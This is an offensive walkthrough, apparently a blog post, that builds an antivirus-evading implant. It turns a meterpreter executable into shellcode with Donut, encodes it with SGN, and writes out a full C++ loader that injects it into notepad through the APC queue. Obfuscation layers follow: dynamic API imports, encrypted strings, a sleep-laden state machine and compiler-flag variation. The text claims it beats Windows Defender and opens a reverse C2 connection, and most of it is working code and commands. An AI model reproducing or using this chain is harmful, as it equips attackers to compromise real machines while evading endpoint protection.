Outline

We will create a malicious MSI payload containing an obfuscated executable using the APC Queue shellcode injection technique. During this process, we apply multiple obfuscation layers to bypass both signature and behavioral detection: shellcode encoding, IAT obfuscation, string encryption, control flow obfuscation, payload signing, and file bloating.
APC Queue shellcode injection abuses Windows’ Asynchronous Procedure Call mechanism to inject malicious code into a running process. The attacker writes shellcode into a thread’s APC queue; when the target thread next enters an alertable wait state, it executes the injected payload instead of its normal routine — a far less monitored execution vector than CreateThread.
The PoC below shows the payload successfully bypassing the latest Windows Defender and establishing a reverse connection to the C2 server.
EXE to Shellcode
We convert a meterpreter EXE to shellcode using Donut.
The command below loads piggy.exe into memory with:
- No entropy obfuscation (
-e 1) - AMSI/WLDP/ETW bypass with fail-safe continue (
-b 3) - aPLib compression (
-z 2) - Decoy module at level 5 (
-j 5) for additional evasion
./donut -i /home/kali/donut/piggy.exe -e 1 -b 3 -z -j 5

As expected, uploading the raw shellcode.bin to VirusTotal yields a high detection rate — we need to encode it.

Polymorphic Shellcode Encoding (SGN)
Many encoding schemes (XOR, AES, UUID, IPv4) get flagged because their decryption stubs are well-known signatures. We use SGN — Shikata Ga Nai next-generation, a polymorphic binary encoder that produces statically undetectable payloads. It is the successor to Metasploit’s shikata_ga_nai.rb.
Tool: EgeBalci/sgn
sgn -i '/home/kali/donut/loader.bin' \
-o /home/kali/donut/loaderEncrypted.bin \
-a 64 -c 8 --verbose

The key advantage of SGN is self-decoding at runtime — no decryption stub needs to be written into the loader. Simply load and execute the encoded payload bin directly.
Result: 0 detections after SGN encoding.

APC Shellcode Loader
With encoded shellcode in hand, we build a PE (.exe) in C++ that injects it via APC Queue.
Key Win32 API calls:
| API | Role |
|---|---|
CreateProcessA |
Spawn target (notepad) in suspended state |
VirtualAllocEx |
Allocate RWX memory in target process |
WriteProcessMemory |
Copy shellcode into remote process memory |
QueueUserAPC |
Queue shellcode as APC on the suspended thread |
ResumeThread |
Resume thread, triggering APC execution |
#include <windows.h>
#include <stdio.h>
unsigned char* readBinaryFile(const char* fileName, SIZE_T* size) {
FILE* file = fopen(fileName, "rb");
if (!file) {
printf("Could not open file %s\n", fileName);
return NULL;
}
fseek(file, 0, SEEK_END);
*size = ftell(file);
fseek(file, 0, SEEK_SET);
unsigned char* buffer = (unsigned char*)malloc(*size);
if (!buffer) {
fclose(file);
return NULL;
}
fread(buffer, 1, *size, file);
fclose(file);
return buffer;
}
int main() {
const char* fileName = "loaderEncrypted.bin";
SIZE_T shellcodeSize;
unsigned char* shellcode = readBinaryFile(fileName, &shellcodeSize);
if (!shellcode) return -1;
// Spawn notepad in a suspended state
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
free(shellcode);
return -1;
}
// Allocate RWX memory in the remote process
LPVOID bufferAddr = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (!bufferAddr) { free(shellcode); return -1; }
// Write shellcode into remote memory
if (!WriteProcessMemory(pi.hProcess, bufferAddr,
shellcode, shellcodeSize, NULL)) {
free(shellcode);
return -1;
}
// Queue APC — shellcode executes when thread enters an alertable wait state
QueueUserAPC((PAPCFUNC)bufferAddr, pi.hThread, NULL);
ResumeThread(pi.hThread);
free(shellcode);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
IAT Obfuscation
Calling VirtualAllocEx, QueueUserAPC, and WriteProcessMemory directly places them in the Import Address Table (IAT) — an immediate red flag visible in any PE analysis tool like PE Studio.

Dynamic resolution via GetProcAddress removes imports from the IAT:
HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
LPVOID (WINAPI *pVirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
pVirtualAllocEx = (LPVOID (WINAPI *)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD))
GetProcAddress(hKernel32, "VirtualAllocEx");
For a cleaner implementation, use lazy_importer — drop lazy_importer.hpp into your include/ directory and wrap any call with LI_FN():
LI_FN(VirtualAllocEx)(pi.hProcess, NULL, shellcodeSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
String Obfuscation
Plain string literals survive static analysis. Running strings.exe on the implant immediately reveals the notepad path:
strings.exe -n 8 implant.exe | findstr /i "C:\\windows"

Fix: use skCrypter to encrypt all string literals at compile time and decrypt at runtime:
#include "skCrypter.h"
CreateProcessA(skCrypt("C:\\Windows\\System32\\notepad.exe"),
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
The string is stored encrypted in the binary and only decrypted in-memory at runtime — invisible to static scanners.
Control Flow Obfuscation
Behavioral and heuristic engines trace the logical sequence: allocate → write → execute. A state machine with interspersed benign actions breaks that sequence and disrupts automated analysis.
enum State {
STATE_ALLOCATE,
STATE_BENIGN,
STATE_WRITE,
STATE_BENIGN_AGAIN,
STATE_EXECUTE,
STATE_DONE
};
void obfuscatedControlFlow(
LPVOID shellcode, SIZE_T shellcodeSize,
PROCESS_INFORMATION* pi,
LPVOID (WINAPI *pVirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD),
BOOL (WINAPI *pWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*),
DWORD (WINAPI *pQueueUserAPC)(PAPCFUNC, HANDLE, ULONG_PTR))
{
State state = STATE_ALLOCATE;
LPVOID bufferAddr = NULL;
while (state != STATE_DONE) {
switch (state) {
case STATE_ALLOCATE:
bufferAddr = pVirtualAllocEx(pi->hProcess, NULL, shellcodeSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (bufferAddr) state = STATE_BENIGN;
break;
case STATE_BENIGN:
performBenignActions(); // file reads, registry queries, etc.
advancedSleep();
state = STATE_WRITE;
break;
case STATE_WRITE:
if (pWriteProcessMemory(pi->hProcess, bufferAddr,
shellcode, shellcodeSize, NULL))
state = STATE_BENIGN_AGAIN;
else
state = STATE_DONE;
break;
case STATE_BENIGN_AGAIN:
performBenignActions();
state = STATE_EXECUTE;
break;
case STATE_EXECUTE:
advancedSleep();
randomSleep(10000, 110000);
pQueueUserAPC((PAPCFUNC)bufferAddr, pi->hThread, NULL);
state = STATE_DONE;
break;
default:
state = STATE_DONE;
}
}
}
The performBenignActions() function executes real but harmless Windows operations to confuse sandbox timelines and heuristic engines. randomSleep() adds non-deterministic delays that defeat fixed-timeout sandbox analysis.
Compiler Flag Obfuscation
Different compiler flags produce structurally distinct PE files, breaking signature-based detection that relies on predictable binary layouts. Each rebuild generates a unique file.
| Flag | Effect |
|---|---|
-O2 |
Speed-optimize; reorganizes code blocks |
-Ob2 |
Aggressive inlining; merges functions |
-Os |
Size-optimize; smaller footprint |
-fno-stack-protector |
Removes stack canary code patterns |
-fno-unroll-loops |
Keeps loops compact; less predictable |
-s |
Strips debug symbols |
-Xlinker -pdb:none |
Removes PDB metadata entirely |
# LLVM/Clang — console binary
clang++ -O2 -Ob2 -Os -fno-stack-protector -fno-unroll-loops \
-fno-exceptions -fno-rtti -s \
-o implant.exe implant.cpp -luser32 -lkernel32
# With linker flags (GNU toolchain)
clang++ -O2 -Ob2 -Os -fno-stack-protector -fno-unroll-loops \
-fno-exceptions -fno-rtti \
-Xlinker -pdb:none -Xlinker -subsystem:console \
-o malware.exe implant.cpp -luser32 -lkernel32
Results
Uploading the fully obfuscated implant.exe achieves 2 / 39 detections on Kleenscan.
The two remaining detections are heuristic-based and are addressable by adding additional benign code sections, file bloating, or payload signing with a valid Authenticode certificate.
Conclusion
This walkthrough demonstrated a complete, layered AV evasion chain:
- Donut — converts a PE to position-independent shellcode
- SGN — polymorphic encoding produces a unique, statically undetectable payload
- APC Queue injection — executes shellcode inside a suspended legitimate process
- IAT obfuscation — hides API imports from static scanners via dynamic resolution
- String obfuscation — encrypts string literals with skCrypter at compile time
- Control flow obfuscation — disguises the injection sequence with a state machine and benign noise
- Compiler flags — generates structurally unique PE files on every rebuild
Each layer independently reduces detection probability — combined, they compound into a highly evasive payload, achieving a 2/39 detection rate with Windows Defender bypassed entirely.